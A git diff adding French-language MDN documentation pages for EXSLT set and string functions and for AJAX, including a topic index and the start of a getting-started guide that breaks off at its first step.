+translation_of: Web/EXSLT/set/difference
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}<br>
+ <code>set:difference()</code> retourne la différence entre deux ensembles de nœuds. En d'autres termes, elle retourne un ensemble de nœuds qui sont dans un des ensembles mais par dans l'autre.</p>
+
+<p>La version<em>modèle</em> de <code>set:difference</code> applique des modèles à ces nœuds dans le mode <code>set:difference</code>, en copiant les nœuds afin de retourner un un fragment d'arbre résultant comprenant ces nœuds.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">set:difference(<em>ensembleNœuds1</em>,<em>ensembleNœuds2</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code>ensembleNœuds1</code></dt>
+ <dd>L'ensemble de nœuds duquel soustraire des nœuds.</dd>
+ <dt><code>ensembleNœuds2</code></dt>
+ <dd>L'ensemble de nœuds à soustraire de<em>ensembleNœuds1</em>.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p>Un ensemble de nœuds contenant les nœuds présents dans<em>ensembleNœuds1</em> mais pas dans<em>ensembleNœuds2</em>.</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/set/functions/difference/">EXSLT - SET:DIFFERENCE (en)</a></li>
+</ul>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/exslt/set/distinct/index.html b/files/fr/web/exslt/set/distinct/index.html
new file mode 100644
index 0000000000..0055f4c067
--- /dev/null
+++ b/files/fr/web/exslt/set/distinct/index.html
@@ -0,0 +1,38 @@
+---
+title: distinct
+slug: Web/EXSLT/set/distinct
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/set/distinct
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>set:distinct()</code> retourne un sous-ensemble des nœuds appartenant à l'ensemble de nœuds spécifié, en ne retournant que les nœuds possédant une valeur de chaîne unique.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">set:distinct(<em>ensembleNœuds</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code>ensembleNœuds</code></dt>
+ <dd>L'ensemble de nœuds duquel extraire les nœuds uniques.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p>Un ensemble de nœuds contenant les nœuds possédant une valeur de chaîne unique.</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/set/functions/distinct/">EXSLT - SET:DISTINCT</a></li>
+</ul>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/exslt/set/has-same-node/index.html b/files/fr/web/exslt/set/has-same-node/index.html
new file mode 100644
index 0000000000..168b3e9c9b
--- /dev/null
+++ b/files/fr/web/exslt/set/has-same-node/index.html
@@ -0,0 +1,40 @@
+---
+title: has-same-node
+slug: Web/EXSLT/set/has-same-node
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/set/has-same-node
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>set:has-same-node()</code> détermine si deux ensembles de nœuds ont ou non des nœuds communs.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">set:has-same-node(<em>ensembleNœuds1</em>,<em>ensembleNœuds2</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code>ensembleNœuds1</code></dt>
+ <dd>Le premier ensemble de nœuds à vérifier.</dd>
+ <dt><code>ensembleNœuds2</code></dt>
+ <dd>Le second ensemble de nœuds à vérifier.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p><code>true</code> si les deux ensembles de nœuds ont des nœuds en commun, <code>false</code> dans le cas contraire.</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/set/functions/has-same-node/">EXSLT - SET:HAS-SAME-NODE (en)</a></li>
+</ul>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/exslt/set/index.html b/files/fr/web/exslt/set/index.html
new file mode 100644
index 0000000000..12472e6d27
--- /dev/null
+++ b/files/fr/web/exslt/set/index.html
@@ -0,0 +1,6 @@
+---
+title: set
+slug: Web/EXSLT/set
+translation_of: Web/EXSLT/set
+---
+<p>{{wiki.localize('System.API.page-generated-for-subpage')}}</p>
diff --git a/files/fr/web/exslt/set/intersection/index.html b/files/fr/web/exslt/set/intersection/index.html
new file mode 100644
index 0000000000..9381a35322
--- /dev/null
+++ b/files/fr/web/exslt/set/intersection/index.html
@@ -0,0 +1,40 @@
+---
+title: intersection
+slug: Web/EXSLT/set/intersection
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/set/intersection
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>set:intersection()</code> retourne l'intersection de deux ensembles de nœuds. En d'autres termes, cette fonction retourne un ensemble de nœuds contenant tous les nœuds appartenant aux deux ensembles de nœuds.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">set:intersection(<em>ensembleNœuds1</em>,<em>ensembleNœuds2</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code>ensembleNœuds1</code></dt>
+ <dd>Le premier ensemble de nœuds.</dd>
+ <dt><code>ensembleNœuds2</code></dt>
+ <dd>Le second ensemble de nœuds.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p>Un ensemble de nœuds contenant les nœuds appartenant à la fois à<em>ensembleNœuds</em> et à<em>ensembleNœuds</em>.</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/set/functions/intersection/">EXSLT - SET:INTERSECTION</a></li>
+</ul>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/exslt/set/leading/index.html b/files/fr/web/exslt/set/leading/index.html
new file mode 100644
index 0000000000..e9d44b89af
--- /dev/null
+++ b/files/fr/web/exslt/set/leading/index.html
@@ -0,0 +1,42 @@
+---
+title: leading
+slug: Web/EXSLT/set/leading
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/set/leading
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>set:leading()</code> retourne les nœuds d'un 1er ensemble de nœuds qui se trouvent avant le 1er nœud du 2nd ensemble de nœuds.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">set:leading(<em>ensembleNœuds1</em>,<em>ensembleNœuds2</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code>ensembleNœuds1</code></dt>
+ <dd>L'ensemble de nœuds dans lequel chercher les nœuds qui précèdent le 1er nœuds du 2nd ensemble de nœuds.</dd>
+ <dt><code>ensembleNœuds2</code></dt>
+ <dd>L'ensemble de nœuds avec lequel on compare le 1er ensemble de nœuds.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p>Un ensemble de nœuds contenant les nœuds appartenant à <code>ensembleNœuds1</code> dont les valeurs précèdent le 1er nœud de <code>ensembleNœuds2</code>.</p>
+
+<p>{{ Note("Si le 1er nœud de <code>ensembleNœuds2</code> n\'est pas contenu dans <code>ensembleNœuds1</code>, cette fonction retourne un ensemble vide. Si <code>ensembleNœuds2</code> est vide, alors le résultat est <code>ensembleNœuds1</code>.") }}</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/set/functions/leading/index.html">EXSLT - SET:LEADING (en)</a></li>
+</ul>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/exslt/set/trailing/index.html b/files/fr/web/exslt/set/trailing/index.html
new file mode 100644
index 0000000000..1bc6de6f39
--- /dev/null
+++ b/files/fr/web/exslt/set/trailing/index.html
@@ -0,0 +1,46 @@
+---
+title: trailing
+slug: Web/EXSLT/set/trailing
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/set/trailing
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>set:trailing()</code> retourne les nœuds d'un 1er ensemble de nœuds qui se trouvent après le 1er nœud du 2nd ensemble de nœuds.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">set:trailing(<em>ensembleNœuds1</em>,<em>ensembleNœuds2</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dd>L'ensemble de nœuds dans lequel chercher les nœuds qui suivent le 1er nœuds du 2nd ensemble de nœuds.</dd>
+</dl>
+
+<dl>
+ <dt><code>ensembleNœuds1</code></dt>
+</dl>
+
+<dl>
+ <dt><code>ensembleNœuds2</code></dt>
+ <dd>L'ensemble de nœuds avec lequel on compare le 1er ensemble de nœuds.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p>Un ensemble de nœuds contenant les nœuds appartenant à <code>ensembleNœuds1</code> dont les valeurs suivent le 1er nœud de <code>ensembleNœuds2</code>.</p>
+
+<p>{{ Note("Si le 1er nœud de <code>ensembleNœuds2</code> n\'est pas contenu dans <code>ensembleNœuds1</code>, cette fonction retourne un ensemble vide. Si <code>ensembleNœuds2</code> est vide, alors le résultat est <code>ensembleNœuds1</code>.") }}</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<p><a class="external" href="http://www.exslt.org/set/functions/trailing/">EXSLT - SET:TRAILING (en)</a></p>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/exslt/str/concat/index.html b/files/fr/web/exslt/str/concat/index.html
new file mode 100644
index 0000000000..b1d6c17db0
--- /dev/null
+++ b/files/fr/web/exslt/str/concat/index.html
@@ -0,0 +1,38 @@
+---
+title: concat
+slug: Web/EXSLT/str/concat
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/str/concat
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>str:concat()</code> retourne une chaîne contenant toutes les valeurs de chaînes d'un ensemble de nœuds concaténées ensembles.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">str:concat(<em>ensembleNœud</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code>ensembleNœud</code></dt>
+ <dd>L'ensemble de nœuds dont les valeurs de chaînes doivent être concaténées en une seule chaîne.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p>Une chaîne dont la valeur correspond à toutes les valeurs des chaînes des nœuds de <code>ensembleNœud</code> concaténées ensembles. Si <code>ensembleNœud</code> est vide, une chaîne vide est retournée.</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/str/functions/concat/">EXSLT - STR:CONCAT (en)</a></li>
+</ul>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/exslt/str/index.html b/files/fr/web/exslt/str/index.html
new file mode 100644
index 0000000000..3248d655dc
--- /dev/null
+++ b/files/fr/web/exslt/str/index.html
@@ -0,0 +1,6 @@
+---
+title: str
+slug: Web/EXSLT/str
+translation_of: Web/EXSLT/str
+---
+<p>{{wiki.localize('System.API.page-generated-for-subpage')}}</p>
diff --git a/files/fr/web/exslt/str/split/index.html b/files/fr/web/exslt/str/split/index.html
new file mode 100644
index 0000000000..4b2eefb0de
--- /dev/null
+++ b/files/fr/web/exslt/str/split/index.html
@@ -0,0 +1,53 @@
+---
+title: split
+slug: Web/EXSLT/str/split
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/str/split
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>str:split()</code> divise une chaîne en utilisation un motif pour déterminer où doivent être fait les séparations, en retournant un ensemble de nœuds contenant les chaînes résultantes.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">str:split(<em>chaîne</em>,<em>motif</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code>chaîne</code></dt>
+ <dd>La chaîne à diviser.</dd>
+ <dt><code>motif</code></dt>
+ <dd>Le motif indiquant les endroits de division de la chaîne.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p>Un ensemble de nœuds d'éléments <code>token</code>, contenant chacun un <code>token</code> provenant de <code>chaîne</code>.</p>
+
+<p>Par exemple :</p>
+
+<pre class="eval">str:split('livre, téléphone, ordinateur, chaise', ', ')
+</pre>
+
+<p>Retourne l'ensemble de nœuds suivant :</p>
+
+<pre class="eval">&lt;token&gt;livre&lt;/token&gt;
+&lt;token&gt;téléphone&lt;/token&gt;
+&lt;token&gt;ordinateur&lt;/token&gt;
+&lt;token&gt;chaise&lt;/token&gt;
+</pre>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/regexp/functions/split/index.html">EXSLT - STR:SPLIT (en)</a></li>
+</ul>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/exslt/str/tokenize/index.html b/files/fr/web/exslt/str/tokenize/index.html
new file mode 100644
index 0000000000..9a36fd00bb
--- /dev/null
+++ b/files/fr/web/exslt/str/tokenize/index.html
@@ -0,0 +1,55 @@
+---
+title: tokenize
+slug: Web/EXSLT/str/tokenize
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/str/tokenize
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>str:tokenize()</code> divise une chaîne en utilisant un ensemble de caractère comme délimiteur qui détermine l'endroit où doivent être fait les séparations, en retournant un ensemble de nœuds contenant les chaînes résultantes.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">str:tokenize(<em>chaîne</em>,<em>délimiteurs</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code>chaîne</code></dt>
+ <dd>La chaîne à marquer.</dd>
+ <dt><code>délimiteurs</code></dt>
+ <dd>Chaque caractère de la chaîne est utilisé comme séparateur de mot pendant le marquage.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p>Un ensemble de nœuds d'éléments <code>token</code>, contenant chacun un <code>token</code> provenant de <code>chaîne</code>.</p>
+
+<p>Par exemple :</p>
+
+<pre class="eval">str:tokenize('2007-09-14-03T11:40:23', '-T:')
+</pre>
+
+<p>Retourne l'ensemble de nœuds suivant :</p>
+
+<pre class="eval">&lt;token&gt;2007&lt;/token&gt;
+&lt;token&gt;09&lt;/token&gt;
+&lt;token&gt;14&lt;/token&gt;
+&lt;token&gt;11&lt;/token&gt;
+&lt;token&gt;40&lt;/token&gt;
+&lt;token&gt;23&lt;/token&gt;
+</pre>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/regexp/functions/tokenize/index.html">EXSLT - STR:TOKENIZE (en)</a></li>
+</ul>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/guide/ajax/communauté/index.html b/files/fr/web/guide/ajax/communauté/index.html
new file mode 100644
index 0000000000..64b1ea683b
--- /dev/null
+++ b/files/fr/web/guide/ajax/communauté/index.html
@@ -0,0 +1,14 @@
+---
+title: Communauté
+slug: Web/Guide/AJAX/Communauté
+tags:
+  - AJAX
+translation_of: Web/Guide/AJAX/Community
+---
+<p>
+</p><p>Si vous connaissez d'autres listes de diffusion, newsgroups, forums ou d'autres communautés ayant trait à AJAX, n'hésitez pas à ajouter un lien ci-dessous.
+</p><p><a href="http://www.ajaxlines.com" class=" external" rel="freelink">http://www.ajaxlines.com</a> (anglais) - Très grosse collection de ressources AJAX, de tutoriels, d'outils et de sites web sur le sujet.
+</p><p><a href="http://www.ajaxmatters.com" class=" external" rel="freelink">http://www.ajaxmatters.com</a> - Portail d'informations sur AJAX et les technologies Web associées (anglais).
+</p><p><br>
+<span class="comment">Liens Interwikis</span>
+</p>{{ languages( { "en": "en/AJAX/Community", "ja": "ja/AJAX/Community" } ) }}
diff --git a/files/fr/web/guide/ajax/index.html b/files/fr/web/guide/ajax/index.html
new file mode 100644
index 0000000000..18d91fe18a
--- /dev/null
+++ b/files/fr/web/guide/ajax/index.html
@@ -0,0 +1,112 @@
+---
+title: AJAX
+slug: Web/Guide/AJAX
+translation_of: Web/Guide/AJAX
+---
+<div class="callout-box"><strong><a href="/fr/AJAX/Premiers_pas" title="fr/AJAX/Premiers_pas">Premiers pas</a></strong><br>
+Une introduction à AJAX</div>
+
+<div>
+<p><strong>AJAX (Asynchronous JavaScript + XML)</strong> n'est pas une technologie en soi, mais un terme désignant une « nouvelle » approche utilisant un ensemble de technologies existantes, dont : <a href="/fr/HTML" title="fr/HTML">HTML</a> ou <a href="/fr/XHTML" title="fr/XHTML">XHTML</a>, <a href="/fr/CSS" title="fr/CSS">les feuilles de styles CSS</a>, <a href="/fr/JavaScript" title="fr/JavaScript">JavaScript</a>, <a href="/fr/DOM" title="fr/DOM">le modèle objet de document</a> (DOM), <a href="/fr/XML" title="fr/XML">XML</a>, <a href="/fr/XSLT" title="fr/XSLT">XSLT</a>, et l'<a href="/fr/XMLHttpRequest" title="fr/XMLHttpRequest">objet XMLHttpRequest</a>. Lorsque ces technologies sont combinées dans le modèle AJAX, les applications Web sont capables de réaliser des mises à jour rapides et incrémentielles de l'interface utilisateur sans devoir recharger la page entière du navigateur. Les applications fonctionnent plus rapidement et sont plus réactives aux actions de l'utilisateur.</p>
+
+<h4 id="Quand_utiliser_ou_non_AJAX"><strong>Quand utiliser (ou non) AJAX ? </strong></h4>
+
+<p>S'il n'y a pas de "bonne réponse", quelques éléments généraux sont à garder à mémoire : </p>
+
+<ul>
+ <li>La méthode AJAX peut être résumée comme un <u>compromis</u> : elle évite un rechargement complet de la page mais <strong>n'autorise pas davantage</strong> que ce qu'apporte une requête HTTP GET ou POST (ou HEAD) classique. Les échanges sont plutôt lourds car, même pour peu d'éléments, le navigateur <strong>doit</strong> envoyer des entêtes et négocier la transaction. <br>
+  La méthode est alors intérressante pour tous les sites où le contenu est changé peu fréquemment et reste prévisible : un blog, un forum, etc. où c'est l'utilisateur qui décide de changer le contenu (<em>le serveur ne peut pas être à l'initiative, sauf à faire des requêtes régulièrement mais il serait alors préférable de passer par les <a href="https://developer.mozilla.org/fr/docs/WebSockets">WebSockets</a></em>). </li>
+ <li>La méthode AJAX a comme qualité de rester dans les standards HTTP, en plus d'être du côté client : c'est donc une méthode qui est <strong>totalement</strong> transparente dans les échanges standards entre un client et un serveur, donc avec tous les langages de programmes qui supportent une connexion socket classique. C'est important à garder à l'esprit dans des environnements mixtes : un serveur Apache / PHP pour la génération de pages maîtresses et un contenu déployé dans un autre langage.<br>
+  Ne pas confondre <em>possible</em> et <em>souhaitable</em> : AJAX <strong>peut</strong> négocier avec plusieurs domaines différents ou (des ports différents dans un même domaine). Cependant pour des <a href="https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS">raisons de sécurité</a> les possibilités sont restreintes voire impossibles. La méthode AJAX est donc dépendante de ce qu'autorise ou permet le navigateur du client. </li>
+ <li>La méthode AJAX est connue et reconnue, pouvant être utilisées à large échelle dans des bibliothèques comme <a href="https://fr.wikipedia.org/wiki/JQuery">JQuery</a>, dont l'intérêt de ces bibliothéques est d'accélérer la vitesse de développement. De plus l'utilisation de Javascript permet d'accéder aux ressources du DOM de la page et des données reçues si elles sont au format XML, permettant la sérialisation dans la plupart des situations. <br>
+  Cependant AJAX rencontre aussi les difficultés liées à la grande hétérogénité des navigateurs (implantation différente de JS, donc<em> in fine</em> des possibilités AJAX), des règles de sécurité, etc. Comme pour CSS, AJAX peut être vu comme un "plus" dans la navigation (<em>voir le principe de <a href="https://fr.wikipedia.org/wiki/Am%C3%A9lioration_progressive">dégradation élégante</a></em>) mais ne doit pas être vu comme une finalité au risque, sinon, de se couper d'une partie des utilisateurs. </li>
+</ul>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation">Documentation</h2>
+
+    <dl>
+     <dt><a href="/fr/AJAX/Premiers_pas" title="fr/AJAX/Premiers_pas">AJAX:Premiers pas</a></dt>
+     <dd><small>Cet article vous guide à travers les bases d'AJAX et vous donne deux exemples simples pour commencer.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.webreference.com/programming/ajax_tech/">Techniques AJAX alternatives</a></dt>
+     <dd><small>La plupart des articles sur AJAX se concentrent sur l'utilisation de XMLHttp comme moyen de communication, mais les techniques AJAX ne s'arrêtent pas à XMLHttp. Il y en a bien d'autres.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.adaptivepath.com/publications/essays/archives/000385.php">Ajax: A New Approach to Web Applications (en)</a></dt>
+     <dd><small>Jesse James Garrett, du site <a class="external" href="http://www.adaptivepath.com">adaptive path</a>, a écrit cet article en février 2005, introduisant le terme AJAX et les concepts liés.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">A Simpler Ajax Path</a></dt>
+     <dd><small>« Comme on le remarquera, il est assez facile de tirer parti de l'objet XMLHttpRequest pour faire se comporter une application Web un peu plus comme une application traditionnelle, tout en continuant à utiliser des outils comme des formulaires Web pour collecter les entrées de l'utilisateur. »</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.contentwithstyle.co.uk/Articles/38/fixing-the-back-button-and-enabling-bookmarking-for-ajax-apps">Fixing the Back Button and Enabling Bookmarking for AJAX Apps</a></dt>
+     <dd><small>Cet article rédigé par Mike Stenhouse détaille certaines méthodes utilisables pour rendre fonctionnel le bouton Précédent et réparer les problèmes causés au marquage des pages lorsque des applications sont développées avec les outils AJAX.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://alexbosworth.backpackit.com/pub/67688">Ajax Mistakes</a></dt>
+     <dd><small>Cet article d'Alex Bosworth attire l'attention sur certaines erreurs que les développeurs d'applications AJAX peuvent faire.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.xul.fr/xml-ajax.html" title="http://www.xul.fr/xml-ajax.html">Tutoriel</a> avec des exemples.</dt>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.w3.org/TR/XMLHttpRequest/">La spécification XMLHttpRequest</a>-  <a class="external" href="http://www.xul.fr/XMLHttpRequest.html" title="http://www.xul.fr/XMLHttpRequest.html">(Traduction française)</a></dt>
+     <dd><small>Brouillon de travail du W3C</small></dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/Special:Tags?tag=AJAX&amp;language=fr" title="Special:Tags?tag=AJAX&amp;language=fr">Tous les articles…</a></span></p>
+   </td>
+   <td>
+    <h2 class="Community" id="Communauté">Communauté</h2>
+
+    <ul>
+     <li>Voir les forums de Mozilla… {{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}</li>
+    </ul>
+
+    <h2 class="Tools" id="Outils">Outils</h2>
+
+    <ul>
+     <li><a class="external" href="http://www.ajaxprojects.com">Toolkits et frameworks</a></li>
+     <li><a class="external" href="http://www.getfirebug.com/">Firebug — Outil de développement AJAX/Web</a></li>
+     <li><a class="external" href="http://blog.monstuff.com/archives/000252.html">Outils de débogage AJAX</a></li>
+     <li><a class="external" href="http://www.osflash.org/doku.php?id=flashjs">Kit d'intégration Flash/AJAX</a></li>
+     <li><a class="external" href="http://xkr.us/code/javascript/XHConn/">Une bibliothèque d'interface XMLHTTP simple</a></li>
+     <li><a class="external" href="http://chandlerproject.org/Projects/AjaxLibraries">Bibliothèques AJAX</a> <span class="alllinks"><a href="/Special:Tags?tag=AJAX:Outils&amp;language=fr" title="Special:Tags?tag=AJAX:Outils&amp;language=fr">Tous les outils…</a></span></li>
+    </ul>
+
+    <h2 id="Exemples">Exemples</h2>
+
+    <ul>
+     <li><a class="external" href="http://www.dhtmlgoodies.com/index.html?whichScript=ajax-poller">AJAX poller script</a></li>
+     <li><a class="external" href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=9">Ajax Chat Tutorial</a></li>
+     <li><a class="external" href="http://www.funwithjustin.com/ajax-toybox/">Ajax Toybox</a></li>
+     <li><a class="external" href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=13">RSS Ticker with AJAX</a></li>
+     <li><a class="external" href="http://www.jamesdam.com/ajax_login/login.html#login">AJAX Login System using XMLHttpRequest</a></li>
+     <li><a class="external" href="http://www.thinkvitamin.com/features/ajax/create-your-own-ajax-effects">Create your own Ajax effects</a></li>
+     <li><a class="external" href="http://codinginparadise.org/weblog/2005/08/ajax-creating-huge-bookmarklets.html">AJAX: Creating Huge Bookmarklets</a></li>
+     <li><a class="external" href="http://www.hotajax.org">Hot!Ajax: many cool examples</a></li>
+    </ul>
+
+    <h2 class="Related_Topics" id="Sujets_liés">Sujets liés</h2>
+
+    <dl>
+     <dd><a href="/fr/HTML" title="fr/HTML">HTML</a>, <a href="/fr/XHTML" title="fr/XHTML">XHTML</a>, <a href="/fr/CSS" title="fr/CSS">Feuilles de style (CSS)</a>, <a href="/fr/DOM" title="fr/DOM">Modèle objet de document (DOM)</a>, <a href="/fr/JavaScript" title="fr/JavaScript">JavaScript</a>, <a href="/fr/XML" title="fr/XML">XML</a>, <a href="/fr/XSLT" title="fr/XSLT">XSLT</a> , <a href="/fr/DHTML" title="fr/DHTML">DHTML</a>, <a href="/fr/HTML/Canvas" title="fr/HTML/Canvas">Canvas</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/guide/ajax/premiers_pas/index.html b/files/fr/web/guide/ajax/premiers_pas/index.html
new file mode 100644
index 0000000000..bce7938f0f
--- /dev/null
+++ b/files/fr/web/guide/ajax/premiers_pas/index.html
@@ -0,0 +1,275 @@
+---
+title: Premiers pas
+slug: Web/Guide/AJAX/Premiers_pas
+tags:
+  - AJAX
+translation_of: Web/Guide/AJAX/Getting_Started
+---
+<p>Cet article vous guide à travers les bases d’AJAX et vous donne deux exemples clefs-en-main pour débuter.</p>
+
+<h3 id="Pr.C3.A9sentation_d.27AJAX" name="Pr.C3.A9sentation_d.27AJAX">Présentation d’AJAX</h3>
+
+<p>AJAX est un raccourci pour <em><strong>A</strong>synchronous <strong>J</strong>avaScript <strong>A</strong>nd <strong>X</strong>ML</em> (JavaScript asynchrone et XML) inventé par Jesse James Garrett. Pour simplifier, il s’agit d’employer l’objet <code><a href="/fr/XMLHttpRequest" title="fr/XMLHttpRequest">XMLHttpRequest</a></code> pour communiquer avec des serveurs. Il peut envoyer et recevoir des informations sous différents formats, dont JSON, XML, HTML ou texte. Son principal attrait est sa nature « asynchrone » ce qui signifie qu’il peut communiquer avec le serveur, échanger des données et mettre à jour la page sans avoir à la recharger.</p>
+
+<p>Les deux principales fonctionnalités d’AJAX permettent de :</p>
+
+<ul>
+ <li>faire des requêtes vers le serveur sans recharger la page ;</li>
+ <li>recevoir et travailler avec des données provenant du serveur.</li>
+</ul>
+
+<h3 id=".C3.89tape_1_.E2.80.94_Lancement_d.27une_requ.C3.AAte_HTTP" name=".C3.89tape_1_.E2.80.94_Lancement_d.27une_requ.C3.AAte_HTTP">Étape 1 — Lancement d’une requête HTTP</h3>
+
